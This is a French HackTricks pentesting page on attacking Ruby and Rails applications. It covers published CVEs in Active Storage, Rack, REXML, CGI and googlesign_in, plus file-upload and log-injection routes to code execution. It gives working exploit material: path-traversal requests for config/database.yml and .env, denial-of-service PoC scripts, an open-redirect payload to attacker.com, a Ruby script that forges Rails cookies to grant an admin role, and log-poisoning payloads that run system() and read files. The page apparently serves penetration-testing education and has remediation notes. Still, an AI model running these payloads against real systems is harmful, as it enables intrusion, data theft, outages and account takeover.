Astuces Ruby
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Téléversement de fichier vers RCE
Comme expliqué dans this article, téléverser un fichier .rb dans des répertoires sensibles tels que config/initializers/ peut conduire à une exécution de code à distance (RCE) dans des applications Ruby on Rails.
Conseils :
- D’autres emplacements de boot/eager-load exécutés au démarrage de l’app sont également risqués s’ils sont inscriptibles (par ex.,
config/initializers/est le cas classique). Si vous trouvez un upload de fichier arbitraire qui atterrit n’importe où sousconfig/et qui est ensuite évalué/required, vous pouvez obtenir RCE au démarrage. - Recherchez des builds dev/staging qui copient des fichiers contrôlés par l’utilisateur dans l’image du conteneur où Rails les chargera au boot.
Active Storage image transformation → exécution de commandes (CVE-2025-24293)
Quand une application utilise Active Storage avec image_processing + mini_magick, et transmet des paramètres non fiables aux méthodes de transformation d’images, les versions de Rails antérieures à 7.1.5.2 / 7.2.2.2 / 8.0.2.1 pouvaient permettre une injection de commande parce que certaines méthodes de transformation étaient par erreur autorisées par défaut.
- Un pattern vulnérable ressemble à :
<%= image_tag blob.variant(params[:t] => params[:v]) %>
où params[:t] et/ou params[:v] sont contrôlés par l’attaquant.
-
À essayer pendant les tests
-
Identifiez les endpoints qui acceptent des options variant/processing, des noms de transformation, ou des arguments ImageMagick arbitraires.
-
Fuzzez
params[:t]etparams[:v]pour des erreurs suspectes ou des effets secondaires d’exécution. Si vous pouvez influencer le nom de la méthode ou passer des arguments bruts qui atteignent MiniMagick, vous pourriez obtenir une exécution de code sur l’hôte du processeur d’images. -
Si vous n’avez qu’un accès lecture aux variants générés, tentez une exfiltration aveugle via des opérations ImageMagick spécialement conçues.
-
Remédiation/détections
-
Si vous voyez Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 avec Active Storage +
image_processing+mini_magicket des transformations contrôlées par l’utilisateur, considérez cela comme exploitable. Recommandez une mise à jour et l’application de listes blanches strictes pour les méthodes/params ainsi qu’une politique ImageMagick durcie.
Rack::Static LFI / path traversal (CVE-2025-27610)
Si la stack cible utilise le middleware Rack directement ou via des frameworks, des versions de rack antérieures à 2.2.13, 3.0.14 et 3.1.12 permettent une Local File Inclusion via Rack::Static lorsque :root n’est pas défini/mal configuré. Des traversées encodées dans PATH_INFO peuvent exposer des fichiers sous le répertoire de travail du processus ou un root inattendu.
- Cherchez des apps qui montent
Rack::Staticdansconfig.ruou dans les stacks de middleware. Essayez des traversées encodées contre des chemins statiques, par exemple :
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Ajustez le préfixe pour correspondre à urls: configurés. Si l’app répond avec le contenu du fichier, vous avez probablement une LFI vers tout ce qui se trouve sous le :root résolu.
- Mitigation : mettez à jour Rack ; assurez-vous que
:rootne pointe que vers un répertoire de fichiers publics et est défini explicitement.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 et < 2.2.8.1 prenait un temps supra-linéaire pour parser des entêtes Content-Type: multipart/form-data fabriquées. Un seul POST avec une liste gigantesque de paramètres A= peut bloquer un worker Puma/Unicorn et provoquer un DoS ou la saturation de la file de requêtes.
- PoC rapide (bloquera un worker) :
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Fonctionne contre toute stack basée sur Rack (Rails/Sinatra/Hanami/Grape). Si elle est frontée par nginx/haproxy avec keep-alive, répétez en parallèle pour épuiser les workers.
- Corrigé en rendant le parser linéaire ; recherchez la gem
racken version <3.0.9.1ou <2.2.8.1. Dans les assessments, signalez que les WAFs bloquent rarement ceci car l’entête est syntaxiquement valide.
REXML XML parser ReDoS (CVE-2024-49761)
La gem REXML < 3.3.9 (Ruby 3.1 et antérieur) effectue un backtracking catastrophique lors du parsing de références de caractère numériques hexadécimales contenant de longues suites de chiffres (par ex., �x41;). Tout XML traité par REXML ou des bibliothèques qui l’encapsulent (clients SOAP/XML API, SAML, uploads SVG) peut être abusé pour provoquer une exhaustion CPU.
Minimal trigger against a Rails endpoint that parses XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
Si le processus reste occupé pendant plusieurs secondes et que la CPU du worker monte en flèche, il est probablement vulnérable. L’attaque est peu gourmande en bande passante et affecte aussi les background jobs qui ingèrent du XML.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Les applications utilisant la gem cgi (par défaut dans de nombreux stacks Rack) peuvent être gelées par un seul header malveillant :
CGI::Cookie.parseavait une complexité super-linéaire ; de très longues chaînes de cookie (des milliers de délimiteurs) déclenchent un comportement en O(N²).CGI::Util#escapeElementregex permettait un ReDoS sur l’échappement HTML.
Les deux problèmes sont corrigés dans cgi 0.3.5.1 / 0.3.7 / 0.4.2. Pour les pentests, envoyez un header Cookie: massif ou fournissez du HTML non fiable aux helper code et observez le blocage du worker. Combinez avec keep-alive pour amplifier.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
La gem googlesign_in < 1.3.0 (utilisée pour Google OAuth sur Rails) effectuait une vérification same-origin incomplète sur le paramètre proceedto. Une URL malformée comme proceedto=//attacker.com/%2F.. contourne la vérification et redirige l’utilisateur vers un site externe tout en préservant les cookies flash/session de Rails.
Exploit flow:
- La victime clique sur un lien Google Sign-In forgé hébergé par l’attaquant.
- Après authentification, la gem redirige vers un domaine contrôlé par l’attaquant, provoquant un leak des flash notices ou de toute donnée stockée dans des cookies scoped au domaine wildcard.
- Si l’app stocke des tokens short-lived ou des magic links dans le flash, cela peut être transformé en account takeover.
Lors des tests, grep Gemfile.lock pour googlesign_in < 1.3.0 et essayez des valeurs proceedto malformées. Confirmez via l’en-tête Location et la réflexion des cookies.
Forge/décryptage des cookies Rails lorsque secret_key_base is leaked
Rails chiffre et signe les cookies avec des clés dérivées de secret_key_base. Si cette valeur leaks (par ex., dans un repo, des logs, ou des credentials mal configurées), vous pouvez généralement déchiffrer, modifier et rechiffrer les cookies. Cela conduit souvent à un authz bypass si l’app stocke des rôles, des user IDs ou des feature flags dans les cookies.
Ruby minimal pour déchiffrer et rechiffrer des cookies modernes (AES-256-GCM, par défaut dans les Rails récents) :
Ruby pour déchiffrer/forger des cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
Remarques :
- Les applications plus anciennes peuvent utiliser AES-256-CBC et des salts `encrypted cookie` / `signed encrypted cookie`, ou des serializers JSON/Marshal. Adaptez les salts, le cipher et le serializer en conséquence.
- En cas de compromission/évaluation, faites pivoter `secret_key_base` pour invalider tous les cookies existants.
## Voir aussi (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Lorsque une application (souvent un simple endpoint Rack/Sinatra/Rails) remplit à la fois :
- journalise une chaîne contrôlée par l'utilisateur telle quelle, et
- ultérieurement appelle `load` sur un fichier dont le chemin est dérivé de cette même chaîne (après `Pathname#cleanpath`),
On peut souvent obtenir une exécution de code à distance en empoisonnant le log puis en forçant l'application à `load` le fichier de log. Primitives clés :
- Ruby `load` évalue le contenu du fichier cible comme du Ruby quelle que soit l'extension. Tout fichier texte lisible dont le contenu peut être interprété comme du Ruby sera exécuté.
- `Pathname#cleanpath` réduit les segments `.` et `..` sans accéder au système de fichiers, permettant le path smuggling : des données contrôlées par l'attaquant peuvent être préfixées pour le logging alors que le chemin nettoyé résout toujours vers le fichier destiné à être exécuté (par ex., `../logs/error.log`).
### Schéma vulnérable minimal
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Pourquoi le log peut contenir du Ruby valide
Logger écrit des lignes préfixes comme :
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
En Ruby, # commence un commentaire et 9/2/2025 n’est que de l’arithmétique. Pour injecter du code Ruby valide, vous devez :
- Commencez votre payload sur une nouvelle ligne afin qu’il ne soit pas commenté par le
#dans la ligne INFO ; envoyez un saut de ligne initial (\nou%0A). - Fermez le
[en suspens introduit par la ligne INFO. Une astuce courante est de commencer par]et, si besoin, de satisfaire le parser avec][0]=1. - Placez ensuite du code Ruby arbitraire (par ex.,
system(...)).
Exemple de ce qui se retrouvera dans le log après une requête avec un paramètre forgé :
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Smuggling a single string that both logs code and resolves to the log path
Nous voulons une seule chaîne contrôlée par l’attaquant qui :
- lorsqu’elle est écrite dans les logs sans altération, contient notre payload Ruby, et
- lorsqu’elle est passée par
Pathname.new(<input>).cleanpath, se résout en../logs/error.log, de sorte que leloadultérieur exécute le fichier de logs nouvellement empoisonné.
Pathname#cleanpath ignore les schemes et réduit les composants de traversal, donc ce qui suit fonctionne :
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Le
#avant://fait en sorte que Ruby ignore la queue lorsque le log est exécuté, tandis quecleanpathréduit toujours le suffixe en../logs/error.log. - Le saut de ligne initial sort de la ligne INFO ;
]ferme le crochet en suspens ;][0]=1satisfait le parser.
Exploitation de bout en bout
- Envoyez ce qui suit comme nom du script de sauvegarde (URL-encodez le premier saut de ligne en
%0Asi nécessaire) :
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- L’app enregistre votre chaîne brute dans
logs/error.log. - L’app calcule
cleanpath, qui résout vers../logs/error.log, et appelleloaddessus. - Ruby exécute le code que vous avez injecté dans le log.
Pour exfiltrer un fichier dans un environnement de type CTF :
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (le premier caractère est un saut de ligne):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Références
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
- Rack multipart ReDoS advisory (CVE-2024-25126)
- Ruby security advisories for CGI / URI (CVE-2025-27219/27220/27221)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


